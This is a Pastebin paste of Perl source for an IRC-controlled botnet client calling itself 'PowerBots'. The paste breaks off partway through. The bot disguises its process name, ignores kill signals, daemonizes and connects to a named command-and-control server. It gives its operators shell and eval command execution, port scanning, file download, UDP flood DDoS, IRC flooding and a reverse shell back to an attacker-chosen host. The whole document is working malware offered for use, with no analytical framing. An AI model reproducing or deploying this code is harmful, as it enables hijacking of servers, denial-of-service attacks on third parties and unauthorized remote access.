API tools faq
paste
Guest User

http://nyck.altervista.org/apache_32.png

a guest
Feb 27th, 2012
226
0
Never
Add comment
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Perl 34.32 KB | None | 0 0
raw download clone embed print report
  1. #!/usr/bin/perl
  2. my @mast3rs = ("Nyck","Roxy");
  3.  
  4.  
  5. my @admchan=("#Clone");
  6.  
  7. $servidor='SaCeLe-HaCk.No-Ip.Info' unless $servidor;
  8.  
  9.  
  10. my $xeqt = "?p";
  11. my $homedir = "/tmp";
  12. my $shellaccess = 1;
  13. my $xstats = 1;
  14. my $pacotes = 1;
  15. my $linas_max = 5;
  16. my $sleep = 6;
  17. my $portime = 4;
  18.  
  19. my @fakeps = ("/usr/bin/atd");
  20.  
  21. my @nickname = ("fattys","eliter","vxbot","smufen","dual","lee","carro","frida",
  22.    "aVe","kmod","kmod2","uselib","raptor","tmpSH","pwned","w00t","DualDuo","Intel",
  23.    "AMDPwr","Geforce","Exploit","vx8m0d","indexs","index","index2","index3","index4",
  24.    "xQt1","xQt2","xQt3","xQt4","xQt5","xQt6","xQt7","xQt8","xQt9","xQt10","TeaMrxz",
  25.    "De","Der","Det","Var","Kam","Dea","Csa","Fbi","Dea","Narko","Gone","Feber","Tull",
  26.    "Tundra","st0rms","fLash","TheLight","Nikko","Nikie","Nikkie","daniel","t0nyandr",
  27.    "Europa","Fanta","Caroline","speedline","Perf0rm","indexs","dan","educat","catina",
  28.    "bindex","hindex","n0rway","myphp","phpvuln","Alarma","GoScan","oslocity","spette",
  29.    "Cascam","vSport","vSmotor","vSteam","vSturbo","Turbost","heeman","andy","loundry",
  30.    "ranger","Carbon","TypeR","Nozz","phpforum","Nxgas","NinaGirl","Isit","lama","ouch",
  31.    "vTeam","vSpot","vCrew","xeQta","Gourl","Vulnx","Hksurl","Greedy","Mrx","counyjail",
  32.    "Spourl","Torshov","Oslos","com_xeqt","mowgli","Asus","com_mrx","MrxTeam","arrest",
  33.    "vScrew","beran","stuing","ucutter","readnot","gethelp","curpos","cutext","Busted",
  34.    "detda","kanjo","neinei","Carbon","irriter","masa","dev-null","korsett","PerlTeam",
  35.    "jada","kanjeg","mutterz","dalenmin","heimdal","Gambler","Deanz","Phreak","Getno",
  36.    "Susa","Pils","Pilz","Bilz","Clubz","Clubs","Clubbin","Fights","Kampen","telenor",
  37.    "Karss","Gophy","reactor","fileporn","filemp3","filelist","free6","purextc","upc",
  38.    "Grandis","Piccaso","Vanda","varburen","Tiesto","Jean","DjEan","MeNe","ThiS","nO",
  39.    "drspeed","fuzzy","buzzz","GoScan","Vulned","Gourl","makeconf","sshdconf","ngtno",
  40.    "m0rtem","cat0","Fuckyall","Fuckit","Aem","Greedy","Hkss","Sparco","MoMo","Carbon",
  41.    "d3nyall","vipz","dualc0rz","twoc0re","gotit","h0lyshit","prtls","rapt0r","Getde",
  42.    "Vulnx","d3nyurl","vUlnurl","v0dka","Torshov","turboo","Boost","fasty","fr","getfr",
  43.    "datacore","dualcore","Daniel","spurv","byrds","jails","spoot","speels","ml","getd",
  44.    "Antivi","nod32","Screwed","alias","mekkka","template","f0rm3","p0ker","Geton","NO",
  45.    "Door","Borr","Jaarn","Sporet","Dopa","Hasjen","purxTc","Liquer","Justlink","Asust",
  46.    "Duffin","Durrett","Dussault","Dwyer","Eardley","Ebeling","Eckel","Edley","Edner",
  47.    "Edward","Eickenhorst","Eliasson","Erdos","Erez","Espinoza","Estes","Etter","Eina",
  48.    "Elmendorf","Elmerick","Elvis","Encinas","Enyeart","Eppling","Erbach","Erdman","d0",
  49.    "Everett","Fabbris","Fagan","Faioes","Altavista","Flamor","Faris","Farone","f00ln3t",
  50.    "Farren","Fasso'","Fates","Feigenbaum","Fejzo","Feldman","Euripides","Enzoo","d00rk",
  51.    "Wikii","Wifii","Jvc","s0nny","lekter","herrier","sp0ker","netply","netb0st","Liq",
  52.    "comma","julie","sveina","andre","pulsedj","p0ker","j0ker","eFn3t","Liers","xTcno",
  53.    "Suite","Incl","Page","Mappe","Oxyd","Infode","Senil","Powers","Langu","m0d","doch",
  54.    "Snakes","Ridder","Viking","Vikings","Norman","Norway","German","Info","Biz","Edud",
  55.    "Ninjas","Ilness","Teacer","Faceoff","devnull","MoMo","Spoon","Liquid","Goofy","Aj",
  56.    "Google","Yahoo","Altavista","Lycos","Sesam","Solno","Googler","ScamNet","w0rmnet",
  57.    "puman","Skeidar","Tinemelk","Freia","Tresis","Tbanen","Adenyed","Hulken","Pureice",
  58.    "Sperre","Lister","Burbon","burb0ns","Toy0","Proxes","WrxSti","Evo6","Evo7","Evo8",
  59.    "wss","bss","natron","kiwis","Reman","SevnUp","Perlpls","Spiid","Govbr","Govmil",
  60.    "Wssss","Files","xFiles","Dataw0rm","n3tw0rm","Info","Biz","Orgy","foksy","Reven",
  61.    "limbo","mambi","bambi","rummy","IluvPerl","PerlKing","Pokerking","Turboa","Gttt",
  62.    "BugScam","BugTraq","Trackqs","Que","Adidas","Umbro","Sportas","Liquid","Forume",
  63.    "Deka","Jbl","Adecco","M5R","Tuners","Techno","Sivilen","Baosh","Snuten","Purken",
  64.    "aaudi","coupe","netliga","liganet","netbase","NetSnok","Snoknet","Snifnet","libz",
  65.    "indexp","jooblaa","mamboo","Binl3n","Cplusplus","p3rls3x","illgoon","de","lime",
  66.    "homes","newsr","sindex","findex","shome","php3","eedan","Evens","Everest","kkk2",
  67.    "igal","c0lombia","freeme","dupen","d3nmark","s2ed3n","crypt0n","n0dam3n","itch",
  68.    "Domino","Tarsan","julie","Anett","Stine","Laura","Croft","Craft","Mrex","jiggy",
  69.    "Hemaan","c0nan","c0nmen","ImI","RdR","Ils","Ass","Dildo","Pula","Blow","Sn0rts",
  70.    "Aloalo","Nasa","DeaGov","FbiGov","NsaGov","CiaGov","CsiEdu","Hav0rd","djPulse",
  71.    "Oslos","Ils","cia","d3a","dea","nsa","nas","ama","kma","Scamurl","vito","xQt",
  72.    "info","cpu","pet","pacs","dino","megov","onet","xrm","tisi","parm","cico","jun",
  73.    "caos","fred","peace","dude","rox","rock","rokie","bayrn","gees","hval","wolf",
  74.    "do","go","ln","st","file","page","pag","pg","lg","lang","lng","srcs","action",
  75.    "sml","pod","nvidia","vidia","villa","kake","spat","solo","Cols","kols","kreft",
  76.    "lam","fal","dett","drop","snop","true","fake","yes","sir","mae","nmf","vmax","as",
  77.    "adio","audo","soren","tvtre","host","unitd","coda","cobra","mans","gmail","gtrs",
  78.    "remax","rik","fatig","poor","girls","pow","wop","wok","son","kolsa","royk","asss",
  79.    "los","las","angl","dream","fools","phol","phools","d0rk","spon","spalk","kalk",
  80.    "email","smtp","pops","imapd","pag","lang","lg","nav","php","spyer","cyp","hardy",
  81.    "email","null","mastr","drunk","full","beer","bayer","mage","neve","fist","haist",
  82.    "dara","dora","boris","dev","cupra","isgal","Yuri","Geez","Frys","dos","to","emul",
  83.    "pwned","kung","kim","lil","fatjo","fatman","fat","joe","does","quat","tres","eu",
  84.    "shv5","lrk","lkm","lkmrk","trk5","xt","tqex","itt","full","half","power","sender",
  85.    "does","tres","quat","fiat","spon","kvae","liim","papp","ddos","fart","noz","daim",
  86.    "liga","tvone","shdw","etcpwd","initd","ftpd","wuspl","proftp","newsd","sockd","lue",
  87.    "loma","Domma","hest","heist","tivoli","stud","dust","fust","Flue","nille","kenny",
  88.    "koma","loc","inc","incl","src","fokus","ford","chevy","wrc","cpu","cool","srchers",
  89.    "inc","incl","dir","file","sdir","mains","login","path","base","cmd","cats","farts",
  90.    "fiat","uno","jern","kober","liq","torsk","fisk","laks","hone","hore","buk","noman",
  91.    "lim","idem","prince","sveina","kine","kim","allan","hanne","terje","bukken","bruse",
  92.    "nu","do","li","faen","tater","doc","loc","pof","ninja","per","pets","sings","doper",
  93.    "liq","dop","heroin","dok","page","php3","pop","smtp","data","kilde","foss","lowrdr",
  94.    "drvby","viper","snake","dragon","dup","vuln","cat","grep","loop","inetd","proftpd",
  95.    "pasive","damp","wals","snoke","snik","poff","phil","pill","dra","drjo","djo","laby",
  96.    "rune","alan","britt","brita","stue","stenen","andy","bass","phatt","lover","fresa",
  97.    "jvc","jbl","cia","fed","sov","purk","snut","snif","deka","svovel","life","knife","so",
  98.    "deka","bos","boss","fres","spett","dusj","kappe","norman","keb0rd","fab","dor","bits",
  99.    "kniv","lisa","nina","ole","pat","mtv","charl","smokie","nabo","walk","brks","krad-3",
  100.    "dame","lady","bola","biffen","kamm","drev","sprider","spider","iscrem","daddy","pie",
  101.    "ono","tima","mytm","motor","vsmot","sport","fart","devs","var","tmp","spol","sture".
  102.    "jule","tree","gate","net","rand","perl","line","xqt","mrx","org","asus","sped","yaco",
  103.    "hash","hmm","ddos","pwr","nix","linux","bsd","ppal","aio","mars","bates","daim","da",
  104.    "pico","nmap","juge","sone","log","goofy","kars","meter","daim","kul","foksy","hyena",
  105.    "beta","pulse","driver","org","fos","kars","kma","fua","all","tea","foks","lady","fa",
  106.    "testo","bola","bolen","card","cards","chip","chips","wv","audi","bmw","roys","bechs",
  107.    "nokia","mrx","some","candy","goo","cool","scam","scan","google","lee","cam","li","dm",
  108.    "loff","grov","abcd","pulse","grow","alrt","spyd","trojan","maxd","xeqtd","xQtd","nodz",
  109.    "owner","crime","data","need","doper","hash","mysql","imapd","devil","shark","byn","ju");
  110.  
  111. my @xident = ("perl");
  112. my @xname = (`uname -a`);
  113.  
  114. #################
  115. # Random Ports
  116. #################
  117. my @rports = ("6667");
  118.  
  119. my @Mrx = ("\001mIRC32 v5.91 K.Mardam-Bey\001","\001mIRC v6.2 Khaled Mardam-Bey\001",
  120.    "\001mIRC v6.03 Khaled Mardam-Bey\001","\001mIRC v6.14 Khaled Mardam-Bey\001",
  121.    "\001mIRC v6.15 Khaled Mardam-Bey\001","\001mIRC v6.16 Khaled Mardam-Bey\001",
  122.    "\001mIRC v6.17 Khaled Mardam-Bey\001","\001mIRC v6.21 Khaled Mardam-Bey\001",
  123.    "\001Snak for Macintosh 4.9.8 English\001",
  124.    "\001DvC v0.1 PHP-5.1.1 based on Net_SmartIRC\001",
  125.    "\001PIRCH98:WIN 95/98/WIN NT:1.0 (build 1.0.1.1190)\001",
  126.    "\001xchat 2.6.2 Linux 2.6.18.5 [i686/2.67GHz]\001",
  127.    "\001xchat:2.4.3:Linux 2.6.17-1.2142_FC4 [i686/2,00GHz]\001",
  128.    "\001xchat:2.4.3:Linux 2.6.17-1.2142_FC4 [i686/1.70GHz]\001",
  129.    "\001XChat-GNOME IRC Chat 0.16 Linux 2.6.20-8-generic [i686]\001",
  130.    "\001ircN 7.27 + 7.0 - -\001","\001..(argon/1g) :bitchx-1.0c17\001",
  131.    "\001ircN 8.00 - he tries to tell me what I put inside of me -\001",
  132.    "\001FreeBSD!4.11-STABLE bitchx-1.0c18 - prevail[0123] :down with people\001",
  133.    "\001BitchX-1.0c19+ by panasync - Linux 2.4.31 : Keep it to yourself!\001",
  134.    "\001BitchX-1.0c19+ by panasync - Linux 2.4.33.3 : Keep it to yourself!\001",
  135.    "\001BitchX-1.1-final+ by panasync - Linux 2.6.18.1 : Keep it to yourself!\001",
  136.    "\001BitchX-1.0c19 by panasync - freebsd 4.10-STABLE : Keep it to yourself!\001",
  137.    "\001BitchX-1.1-final+ by panasync - FreeBSD 4.5-STABLE : Keep it to yourself!\001",
  138.    "\001BitchX-1.1-final+ by panasync - FreeBSD 6.0-RELEASE : Keep it to yourself!\001",
  139.    "\001BitchX-1.1-final+ by panasync - FreeBSD 5.3-RELEASE : Keep it to yourself!\001",
  140.    "\001bitchx-1.0c18 :tunnelvision/1.2\001","\001PnP 4.22 - http://www.pairc.com/\001",
  141.    "\001BitchX-1.0c17/FreeBSD 4.10-RELEASE:(c)rackrock/bX [3.0.1·9] : Keep it to yourself!\001",
  142.    "\001P&P 4.22.2 (in development) + X Z P Bots, Sound, NickServ, ChanServ, Extras\001",
  143.    "\001HydraIRC v0.3.148 (18/Jan/2005) by Dominic Clifton aka Hydra - #HydraIRC on EFNet\001",
  144.    "\001irssi v0.8.10 - running on Linux i586\001","\001irssi v0.8.10 - running on FreeBSD i386\001",
  145.    "\001ircII 20050423+ScrollZ 1.9.5 (19.12.2004)+Cdcc v1.6mods v1.0 by acidflash - Almost there\001",
  146.    "\001ircII 20050423+ScrollZ 1.9.5 (19.12.2004)+Cdcc v1.8+OperMods v1.0 by acidflash - Almost there\001");
  147.  
  148. # Default quick scan ports
  149. my @portas=("21","22","23","25","53","80","110","113","143","3306","4000","5900","6667","6668","6669","7000","10000","12345","31337","65501");
  150.  
  151. # xeQt
  152.  
  153. #my $nick = "Power";
  154. my $nick = $nickname[rand scalar @nickname];
  155. my $realname = $xname[rand scalar @xname];
  156. my $ircname = $xident[rand scalar @xident];
  157. my $porta = $rports[rand scalar @rports];
  158. my $xproc = $fakeps[rand scalar @fakeps];
  159. my $Mrx = $Mrx[rand scalar @Mrx];
  160. my $version = 'PowerBots (C) GohacK';
  161.  
  162. $SIG{'INT'} = 'IGNORE';
  163. $SIG{'HUP'} = 'IGNORE';
  164. $SIG{'TERM'} = 'IGNORE';
  165. $SIG{'CHLD'} = 'IGNORE';
  166. $SIG{'PS'} = 'IGNORE';
  167.  
  168. use IO::Socket;
  169. use Socket;
  170. use IO::Select;
  171. chdir("$homedir");
  172. $servidor="$ARGV[0]" if $ARGV[0];
  173. $0="$xproc"."\0";
  174. my $pid=fork;
  175. exit if $pid;
  176. die "[x] -> Cannot fork into background: $!" unless defined($pid);
  177. my %irc_servers;
  178. my %DCC;
  179. my $dcc_sel = new IO::Select->new();
  180.  
  181. sub getnick {
  182.   return "$nickname[rand scalar @nickname]".int(rand(1000));
  183. }
  184.  
  185. sub getstore ($$)
  186. {
  187.   my $url = shift;
  188.   my $file = shift;
  189.  
  190.   $http_stream_out = 1;
  191.   open(GET_OUTFILE, "> $file");
  192.   %http_loop_check = ();
  193.   _get($url);
  194.   close GET_OUTFILE;
  195.   return $main::http_get_result;
  196. }
  197. sub _get
  198. {
  199.   my $url = shift;
  200.   my $proxy = "";
  201.   grep {(lc($_) eq "http_proxy") && ($proxy = $ENV{$_})} keys %ENV;
  202.   if (($proxy eq "") && $url =~ m,^http://([^/:]+)(?::(\d+))?(/\S*)?$,) {
  203.     my $host = $1;
  204.     my $port = $2 || 80;
  205.     my $path = $3;
  206.     $path = "/" unless defined($path);
  207.     return _trivial_http_get($host, $port, $path);
  208.   } elsif ($proxy =~ m,^http://([^/:]+):(\d+)(/\S*)?$,) {
  209.     my $host = $1;
  210.     my $port = $2;
  211.     my $path = $url;
  212.     return _trivial_http_get($host, $port, $path);
  213.   } else {
  214.     return undef;
  215.   }
  216. }
  217. sub _trivial_http_get
  218. {
  219.   my($host, $port, $path) = @_;
  220.   my($AGENT, $VERSION, $p);
  221.   #print "HOST=$host, PORT=$port, PATH=$path\n";
  222.  
  223.   $AGENT = "get-minimal";
  224.   $VERSION = "20000118";
  225.  
  226.   $path =~ s/ /%20/g;
  227.  
  228.   require IO::Socket;
  229.   local($^W) = 0;
  230.   my $sock = IO::Socket::INET->new(PeerAddr => $host, PeerPort => $port, Proto   => 'tcp', Timeout  => 60) || return;
  231.  
  232.   $sock->autoflush;
  233.   my $netloc = $host;
  234.   $netloc .= ":$port" if $port != 80;
  235.   my $request = "GET $path HTTP/1.0\015\012"
  236.               . "Host: $netloc\015\012"
  237.               . "User-Agent: $AGENT/$VERSION/u\015\012";
  238.   $request .= "Pragma: no-cache\015\012" if ($main::http_no_cache);
  239.   $request .= "\015\012";
  240.   print $sock $request;
  241.   my $buf = "";
  242.   my $n;
  243.   my $b1 = "";
  244.   while ($n = sysread($sock, $buf, 8*1024, length($buf))) {
  245.     if ($b1 eq "") {
  246.       $b1 = $buf;
  247.       $buf =~ s/.+?\015?\012\015?\012//s;
  248.     }
  249.     if ($http_stream_out) { print GET_OUTFILE $buf; $buf = ""; }
  250.   }
  251.   return undef unless defined($n);
  252.   $main::http_get_result = 200;
  253.   if ($b1 =~ m,^HTTP/\d+\.\d+\s+(\d+)[^\012]*\012,) {
  254.     $main::http_get_result = $1;
  255.     # print "CODE=$main::http_get_result\n$b1\n";
  256.     if ($main::http_get_result =~ /^30[1237]/ && $b1 =~ /\012Location:\s*(\S+)/) {
  257.       my $url = $1;
  258.       return undef if $http_loop_check{$url}++;
  259.       return _get($url);
  260.     }
  261.     return undef unless $main::http_get_result =~ /^2/;
  262.   }
  263.   return $buf;
  264. }
  265. $sel_cliente = IO::Select->new();
  266. sub sendraw {
  267.   if ($#_ == '1') {
  268.     my $socket = $_[0];
  269.     print $socket "$_[1]\n";
  270.   } else {
  271.       print $IRC_cur_socket "$_[0]\n";
  272.   }
  273. }
  274. sub conectar {
  275.    my $meunick = $_[0];
  276.    my $servidor_con = $_[1];
  277.    my $porta_con = $_[2];
  278.    my $IRC_socket = IO::Socket::INET->new(Proto=>"tcp", PeerAddr=>"$servidor_con", PeerPort=>$porta_con) or return(1);
  279.    if (defined($IRC_socket)) {
  280.      $IRC_cur_socket = $IRC_socket;
  281.      $IRC_socket->autoflush(1);
  282.      $sel_cliente->add($IRC_socket);
  283.      $irc_servers{$IRC_cur_socket}{'host'} = "$servidor_con";
  284.      $irc_servers{$IRC_cur_socket}{'porta'} = "$porta_con";
  285.      $irc_servers{$IRC_cur_socket}{'nick'} = $meunick;
  286.      $irc_servers{$IRC_cur_socket}{'meuip'} = $IRC_socket->sockhost;
  287.      nick("$meunick");
  288.      sendraw("USER $ircname ".$IRC_socket->sockhost." $servidor_con :$realname");
  289.      sleep 2;
  290.    }
  291. }
  292. my $line_temp;
  293. while( 1 ) {
  294.    while (!(keys(%irc_servers))) { conectar("$nick", "$servidor", "$porta"); }
  295.    delete($irc_servers{''}) if (defined($irc_servers{''}));
  296.    &DCC::connections;
  297.    my @ready = $sel_cliente->can_read(0.6);
  298.    next unless(@ready);
  299.    foreach $fh (@ready) {
  300.      $IRC_cur_socket = $fh;
  301.      $meunick = $irc_servers{$IRC_cur_socket}{'nick'};
  302.      $nread = sysread($fh, $msg, 4096);
  303.      if ($nread == 0) {
  304.         $sel_cliente->remove($fh);
  305.         $fh->close;
  306.         delete($irc_servers{$fh});
  307.      }
  308.      @lines = split (/\n/, $msg);
  309.      for(my $c=0; $c<= $#lines; $c++) {
  310.        $line = $lines[$c];
  311.        $line=$line_temp.$line if ($line_temp);
  312.        $line_temp='';
  313.        $line =~ s/\r$//;
  314.        unless ($c == $#lines) {
  315.          parse("$line");
  316.        } else {
  317.            if ($#lines == 0) {
  318.              parse("$line");
  319.            } elsif ($lines[$c] =~ /\r$/) {
  320.                parse("$line");
  321.            } elsif ($line =~ /^(\S+) NOTICE AUTH :\*\*\*/) {
  322.                parse("$line");
  323.            } else {
  324.                $line_temp = $line;
  325.            }
  326.        }
  327.       }
  328.    }
  329. }
  330.  
  331. sub parse {
  332.    my $servarg = shift;
  333.    if ($servarg =~ /^PING \:(.*)/) {
  334.      sendraw("PONG :$1");
  335.    } elsif ($servarg =~ /^\:(.+?)\!(.+?)\@(.+?) PRIVMSG (.+?) \:(.+)/) {
  336.        my $pn=$1; my $hostnam3=$3; my $onde = $4; my $args = $5;
  337.        if ($args =~ /^\001VERSION\001$/) {
  338.          notice("$pn", "".$Mrx."");
  339.        }
  340.        elsif ($args =~ /^\001PING\s+(\d+)\001$/) {
  341.          notice("$pn", "\001PONG\001");
  342.        }
  343.        elsif (grep {$_ =~ /^(\Q$pn\E|\Q$hostnam3\E)$/i } @mast3rs) {
  344.          if ($onde eq "$meunick"){
  345.            shell("$pn", "$args");
  346.         }
  347.     if ($args =~ /^!(.*)/){
  348.        ircase("$pn","$chan","$1");
  349.     }
  350.         if ($args =~ /^(\Q$meunick\E|\Q$xeqt\E)\s+(.*)/ ) {
  351.             my $natrix = $1;
  352.             my $arg = $2;
  353.             if ($arg =~ /^\!(.*)/) {
  354.               ircase("$pn","$onde","$1");
  355.             } elsif ($arg =~ /^\@(.*)/) {
  356.                 $ondep = $onde;
  357.                 $ondep = $pn if $onde eq $meunick;
  358.                 bfunc("$ondep","$1");
  359.             } else {
  360.                 shell("$onde", "$arg");
  361.             }
  362.          }
  363.        }
  364.    } elsif ($servarg =~ /^\:(.+?)\!(.+?)\@(.+?)\s+NICK\s+\:(\S+)/i) {
  365.        if (lc($1) eq lc($meunick)) {
  366.          $meunick=$4;
  367.          $irc_servers{$IRC_cur_socket}{'nick'} = $meunick;
  368.        }
  369.    } elsif ($servarg =~ m/^\:(.+?)\s+433/i) {
  370.        $meunick = getnick();
  371.        nick("".$meunick."-");
  372.    } elsif ($servarg =~ m/^\:(.+?)\s+001\s+(\S+)\s/i) {
  373.        $meunick = $2;
  374.        $irc_servers{$IRC_cur_socket}{'nick'} = $meunick;
  375.        $irc_servers{$IRC_cur_socket}{'nome'} = "$1";
  376.        foreach my $canal (@admchan){
  377.          sendraw("JOIN $canal 206xss");
  378.        }
  379.    }
  380. }
  381. sub bfunc {
  382.   my $printl = $_[0];
  383.   my $funcarg = $_[1];
  384.   if (my $pid = fork) {
  385.      waitpid($pid, 0);
  386.   } else {
  387.       if (fork)
  388.        {
  389.          exit;
  390.        }
  391.    else
  392.    {
  393.       # Quick scan
  394.            if ($funcarg =~ /^ps (.*)/) {
  395.              my $hostip="$1";
  396.         sendraw($IRC_cur_socket, "PRIVMSG $printl :\002\00312Portscanning\003\002: $1 \002\00312Ports:\003\002 default");
  397.              my (@aberta, %porta_banner);
  398.              foreach my $porta (@portas)  {
  399.                 my $scansock = IO::Socket::INET->new(PeerAddr => $hostip, PeerPort => $porta, Proto => 'tcp', Timeout => $portime);
  400.                 if ($scansock) {
  401.                    push (@aberta, $porta);
  402.                    $scansock->close;
  403.          sendraw($IRC_cur_socket, "PRIVMSG $printl :Found: $porta"."/Open");
  404.                 }
  405.              }
  406.              if (@aberta) {
  407.                sendraw($IRC_cur_socket, "PRIVMSG $printl :Port Scan Complete with target: $1 ");
  408.              } else {
  409.                  sendraw($IRC_cur_socket,"PRIVMSG $printl :\002[x]\0034 No open ports found on\002 $1");
  410.              }
  411.            }
  412.       # NMAP, lol
  413.            elsif ($funcarg =~ /^nmap\s+(.*)\s+(\d+)\s+(\d+)/)
  414.       {
  415.               my $hostname="$1";
  416.               my $portstart = "$2";
  417.                my $portend = "$3";
  418.                my (@abertas, %porta_banner);
  419.           sendraw($IRC_cur_socket, "PRIVMSG $printl :\002\00312xMap Portscanning\003\002: $1 \002\00312Ports:\003\002 $2-$3");
  420.                foreach my $porta ($portstart..$portend)
  421.              {
  422.                my $scansock = IO::Socket::INET->new(PeerAddr => $hostname, PeerPort => $porta, Proto => 'tcp', Timeout => $portime);
  423.                if ($scansock) {
  424.                  push (@abertas, $porta);
  425.                  $scansock->close;
  426.                  if ($xstats)
  427.        {
  428.                    sendraw($IRC_cur_socket, "PRIVMSG $printl :Found: $porta"."/Open");
  429.                  }
  430.                }
  431.              }
  432.              if (@abertas) {
  433.           sendraw($IRC_cur_socket, "PRIVMSG $printl :\002\00312Scan Complate\003\002");
  434.              } else {
  435.                sendraw($IRC_cur_socket,"PRIVMSG $printl :\002\00312No ports found..\002");
  436.              }
  437.             }
  438.       # Remove
  439.       elsif ($funcarg =~ /^rm/)
  440.       {
  441.          system("cd /var/tmp ; rm -rf cb find god* wunder* udev* lib*");
  442.       sendraw($IRC_cur_socket, "PRIVMSG $printl :\002\00312(Quickdel)\002\00314 Removed files and folders ");
  443.       }
  444.       # Version
  445.       elsif ($funcarg =~ /^version/)
  446.       {
  447.          sendraw($IRC_cur_socket, "PRIVMSG $printl :\002\00312(Version)\002\00314 $version ");
  448.       }
  449.       # Download
  450.            elsif ($funcarg =~ /^down\s+(.*)\s+(.*)/)
  451.       {
  452.               getstore("$1", "$2");
  453.               sendraw($IRC_cur_socket, "PRIVMSG $printl :\002\00312(Download)\002\00314 Page: $2 (File: $1)") if ($xstats);
  454.            }
  455.        # Udp
  456.             elsif ($funcarg =~ /^udp\s+(.*)\s+(\d+)\s+(\d+)/) {
  457.               return unless $pacotes;
  458.               socket(Tr0x, PF_INET, SOCK_DGRAM, 17);
  459.               my $alvo=inet_aton("$1");
  460.               my $porta = "$2";
  461.               my $tempo = "$3";
  462.               my $pacote;
  463.               my $pacotese;
  464.               my $fim = time + $tempo;
  465.               my $pacota = 1;
  466.          sendraw($IRC_cur_socket, "PRIVMSG $printl :\002\00312(UDP DDoSing)\003 Attacking\002: $1 - \002Time\002: $tempo"."seconds");
  467.               while (($pacota == "1") && ($pacotes == "1")) {
  468.                 $pacota = 0 if ((time >= $fim) && ($tempo != "0"));
  469.                 $pacote=$rand x $rand x $rand;
  470.                 $porta = int(rand 65000) +1 if ($porta == "0");
  471.                 send(Tr0x, 0, $pacote, sockaddr_in($porta, $alvo)) and $pacotese++ if ($pacotes == "1");
  472.               }
  473.               if ($xstats)
  474.               {
  475.                sendraw($IRC_cur_socket, "PRIVMSG $printl :\002\00312(UDP Complete):\003\002 $1 - \002Sendt\002: $pacotese"."kb - \002Time\002: $tempo"."seconds");
  476.              }
  477.             }
  478.  
  479.        # Backconnect
  480.             elsif ($funcarg =~ /^back\s+(.*)\s+(\d+)/) {
  481.               my $host = "$1";
  482.               my $porta = "$2";
  483.               my $proto = getprotobyname('tcp');
  484.               my $iaddr = inet_aton($host);
  485.               my $paddr = sockaddr_in($porta, $iaddr);
  486.               my $shell = "/bin/sh -i";
  487.               if ($^O eq "MSWin32") {
  488.                 $shell = "cmd.exe";
  489.               }
  490.               socket(SOCKET, PF_INET, SOCK_STREAM, $proto) or die "socket: $!";
  491.               connect(SOCKET, $paddr) or die "connect: $!";
  492.          sendraw($IRC_cur_socket, "PRIVMSG $printl :\002[x] ->\0034 Injection ...");
  493.               open(STDIN, ">&SOCKET");
  494.               open(STDOUT, ">&SOCKET");
  495.               open(STDERR, ">&SOCKET");
  496.               system("$shell");
  497.          system("cd /tmp/.mrx");
  498.               close(STDIN);
  499.               close(STDOUT);
  500.               close(STDERR);
  501.             }
  502.            exit;
  503.        }
  504.   }
  505. }
  506.  
  507. sub ircase {
  508.   my ($kem, $printl, $case) = @_;
  509.  
  510.    if ($case =~ /^join (.*)/) {
  511.      j("$1");
  512.    }
  513.    elsif ($case =~ /^part (.*)/) {
  514.       p("$1");
  515.    }
  516.    elsif ($case =~ /^rejoin\s+(.*)/) {
  517.       my $chan = $1;
  518.       if ($chan =~ /^(\d+) (.*)/) {
  519.         for (my $ca = 1; $ca <= $1; $ca++ ) {
  520.           p("$2");
  521.           j("$2");
  522.         }
  523.       } else {
  524.           p("$chan");
  525.           j("$chan");
  526.       }
  527.    }
  528.    elsif ($case =~ /^op/) {
  529.       op("$printl", "$kem") if $case eq "op";
  530.       my $oarg = substr($case, 3);
  531.       op("$1", "$2") if ($oarg =~ /(\S+)\s+(\S+)/);
  532.    }
  533.    elsif ($case =~ /^deop/) {
  534.       deop("$printl", "$kem") if $case eq "deop";
  535.       my $oarg = substr($case, 5);
  536.       deop("$1", "$2") if ($oarg =~ /(\S+)\s+(\S+)/);
  537.    }
  538.    elsif ($case =~ /^voice/) {
  539.       voice("$printl", "$kem") if $case eq "voice";
  540.       $oarg = substr($case, 6);
  541.       voice("$1", "$2") if ($oarg =~ /(\S+)\s+(\S+)/);
  542.    }
  543.    elsif ($case =~ /^devoice/) {
  544.       devoice("$printl", "$kem") if $case eq "devoice";
  545.       $oarg = substr($case, 8);
  546.       devoice("$1", "$2") if ($oarg =~ /(\S+)\s+(\S+)/);
  547.    }
  548.    elsif ($case =~ /^msg\s+(\S+) (.*)/) {
  549.       msg("$1", "$2");
  550.    }
  551.    elsif ($case =~ /^flood\s+(\d+)\s+(\S+) (.*)/) {
  552.       for (my $cf = 1; $cf <= $1; $cf++) {
  553.         msg("$2", "$3");
  554.       }
  555.    }
  556.    elsif ($case =~ /^ctcpflood\s+(\d+)\s+(\S+) (.*)/) {
  557.       for (my $cf = 1; $cf <= $1; $cf++) {
  558.         ctcp("$2", "$3");
  559.       }
  560.    }
  561.    elsif ($case =~ /^ctcp\s+(\S+) (.*)/) {
  562.       ctcp("$1", "$2");
  563.    }
  564.    elsif ($case =~ /^invite\s+(\S+) (.*)/) {
  565.       invite("$1", "$2");
  566.    }
  567.    elsif ($case =~ /^nick (.*)/) {
  568.       nick("$1");
  569.    }
  570.    elsif ($case =~ /^jump\s+(\S+)\s+(\S+)/) {
  571.        conectar("$2", "$1", 6667);
  572.    }
  573.    elsif ($case =~ /^send\s+(\S+)\s+(\S+)/) {
  574.       DCC::SEND("$1", "$2");
  575.    }
  576.    elsif ($case =~ /^raw (.*)/) {
  577.       sendraw("$1");
  578.    }
  579.    elsif ($case =~ /^eval (.*)/) {
  580.       eval "$1";
  581.    }
  582.    elsif ($case =~ /^rj\s+(\S+)\s+(\d+)/) {
  583.     sleep int(rand($2));
  584.     j("$1");
  585.    }
  586.    elsif ($case =~ /^rp\s+(\S+)\s+(\d+)/) {
  587.     sleep int(rand($2));
  588.     p("$1");
  589.    }
  590.    elsif ($case =~ /^quit/) {
  591.      quit();
  592.    }
  593.    elsif ($case =~ /^rand/) {
  594.     my $novonick = getnick();
  595.      nick("$novonick");
  596.    }
  597.    elsif ($case =~ /^stat (.*)/) {
  598.      if ($1 eq "on") {
  599.       $xstats = 1;
  600.       msg("$printl", "Satus enabled");
  601.      } elsif ($1 eq "off") {
  602.       $xstats = 0;
  603.       msg("$printl", "Status disable");
  604.      }
  605.    }
  606.    elsif ($case =~ /^bang (.*)/) {
  607.      if ($1 eq "on") {
  608.       $pacotes = 1;
  609.       msg("$printl", "[x] Bang mode enabled") if ($xstats == "1");
  610.      } elsif ($1 eq "off") {
  611.       $pacotes = 0;
